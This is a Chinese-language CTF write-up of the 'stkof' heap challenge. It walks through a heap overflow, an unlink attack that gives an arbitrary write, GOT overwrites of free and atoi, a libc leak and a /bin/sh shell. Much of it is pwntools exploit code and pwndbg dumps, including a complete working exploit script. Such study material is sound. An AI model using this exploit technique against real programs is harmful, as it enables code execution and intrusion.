0%

Unlink攻击

stkof

循环输入

64位,dynamically,开了Canary,开了NX

代码分析

程序有4种选择:

一,申请可以输出大小的chunk,把它的“fd”指针装入“list”

二,输入“index”,输入“size”,输入写入的内容

​ // 这种写入方式还是比较稀奇的

三,输入“index”,然后free掉对应的chunk,并把指针置空

四,输入“index”,打印一个字符串

入侵思路

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil('OK\n')

def fill(index,size,content):
p.sendline(str(2))
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(index):
p.sendline(str(3))
p.sendline(str(index))

def printf(index):
p.sendline(str(4))
p.sendline(str(index))
p.recvuntil('OK\n')

本程序没有栈溢出,但是有堆溢出(“ fill的size ”可以大于“ alloc的size ”)

那么思路就明确了:

利用“Unlink攻击”实现WAA,把got表中的某个函数改为“ system(“/bin/sh”) ”

注意:

本程序没有设置“无缓存”,所以在初次调用“fgets”和“puts”时,malloc都会分配缓冲区

没有执行任何操作时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0xe05290
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0xe056a0
Size: 0x411

Top chunk | PREV_INUSE
Addr: 0xe05ab0
Size: 0x20551

这里的“0xe05290”和“0xe056a0”就是“输入”和“输出”申请的缓存区,为了排除缓存区干扰,应该先生成一个“无关chunk”

1
2
3
4
5
6
7
8
9
10
11
12
alloc(0x100)
alloc(0x30)
alloc(0x90)

list_addr=0x602140
payload=p64(0)+p64((0x30-0x10))
payload+=p64(list_addr+0x10-0x18)
payload+=p64(list_addr+0x10-0x10)
payload+=p64(0x20)+p64(0)

payload+=p64(0x30)+p64(0x90)
fill(2,len(payload),payload)
1
2
3
4
5
6
7
pwndbg> x/100xg 0x00000000019cd7c0
0x19cd7c0: 0x0000000000000000 0x0000000000000041 # chunk2
0x19cd7d0: 0x0000000000000000 0x0000000000000020 # fake_chunk
0x19cd7e0: 0x0000000000602138 0x0000000000602140
0x19cd7f0: 0x0000000000000020 0x0000000000000000
0x19cd800: 0x0000000000000030 0x0000000000000090 # chunk3
0x19cd810: 0x0000000000000000 0x0000000000000000

“ free(3) ”执行以后:

1
2
3
4
5
pwndbg> x/10xg 0x602140
0x602140: 0x0000000000000000 0x0000000000e0a020
0x602150: 0x0000000000602138 0x0000000000000000 # fake_chunk2
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

现在Unlink攻击已经完成,chunk2的“fd”被伪造成了“ list-0x8”(chunk2[-3])

1
2
3
4
5
payload='a'*0x8	#填充list[-1]
payload+=p64(elf.got['free'])
payload+=p64(elf.got['puts'])
payload+=p64(elf.got['atoi'])
fill(2,len(payload),payload)
1
2
3
4
5
pwndbg> telescope 0x602140
00:00000x602140 —▸ 0x602018 (free@got.plt) —▸ 0x7f3bd8967540 (free) ◂— push r13
01:00080x602148 —▸ 0x602020 (puts@got.plt) —▸ 0x7f3bd89526a0 (puts) ◂— push r12
02:00100x602150 —▸ 0x602088 (atoi@got.plt) —▸ 0x7f3bd8919e90 (atoi) ◂— sub rsp, 8
03:00180x602158 ◂— 0x0

现在WAA已经完成了,用“fill”填入数据就可以了,首先修改“free”为“puts”,泄露“puts_got”获取“libc_base”:

1
2
3
4
5
6
7
8
9
payload = p64(elf.plt['puts'])
fill(0,len(payload),payload)
free(1)
p.recvuntil('OK\n')
puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00')
puts_libc=u64(puts_libc)
success('puts_libc >> '+hex(puts_libc))
libc_base=puts_libc-libc.sym['puts']
success('libc_base >> '+hex(libc_base))

最后获取“system”,把“atoi”改为“system”,输入“/bin/sh”作为“system”(atoi)的参数

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*

p=process('./stkof')
elf=ELF('./stkof')
libc=ELF('./libc-2.23.so')
#context(log_level='debug',arch='amd64')

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil('OK\n')

def fill(index,size,content):
p.sendline(str(2))
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(index):
p.sendline(str(3))
p.sendline(str(index))

def printf(index):
p.sendline(str(4))
p.sendline(str(index))
p.recvuntil('OK\n')

#gdb.attach(p)

alloc(0xa0)
alloc(0xa0)
alloc(0xa0)

list_addr=0x602140+0x10
payload=p64(0)+p64(0xa0)
payload+=p64(list_addr-0x18)
payload+=p64(list_addr-0x10)
payload=payload.ljust(0xa0,'\x00')
payload+=p64(0xa0)+p64(0xb0)

fill(2,0xb0,payload)
free(3)

payload=p64(0)
payload+=p64(elf.got['free'])
payload+=p64(elf.got['puts'])
payload+=p64(elf.got['atoi'])
fill(2,len(payload),payload)

payload = p64(elf.plt['puts'])
fill(0,len(payload),payload)
free(1)
p.recvuntil('OK\n')
puts_libc=p.recvuntil('OK\n')[:-4].ljust(8,'\x00')
puts_libc=u64(puts_libc)
success('puts_libc >> '+hex(puts_libc))
libc_base=puts_libc-libc.sym['puts']
success('libc_base >> '+hex(libc_base))

system_libc=libc_base+libc.sym['system']
success('system_libc >> '+hex(system_libc))
payload = p64(system_libc)
fill(2,len(payload),payload)
p.sendline('/bin/sh')

p.interactive()

PS:

本程序libc版本为“2.23”,使用“2.31”版本打不通,用GDB调试后发现chunk根本没有合并,可能是高版本的libc增加了更多的检查,掐掉了unlink攻击,至于是什么检查以后学习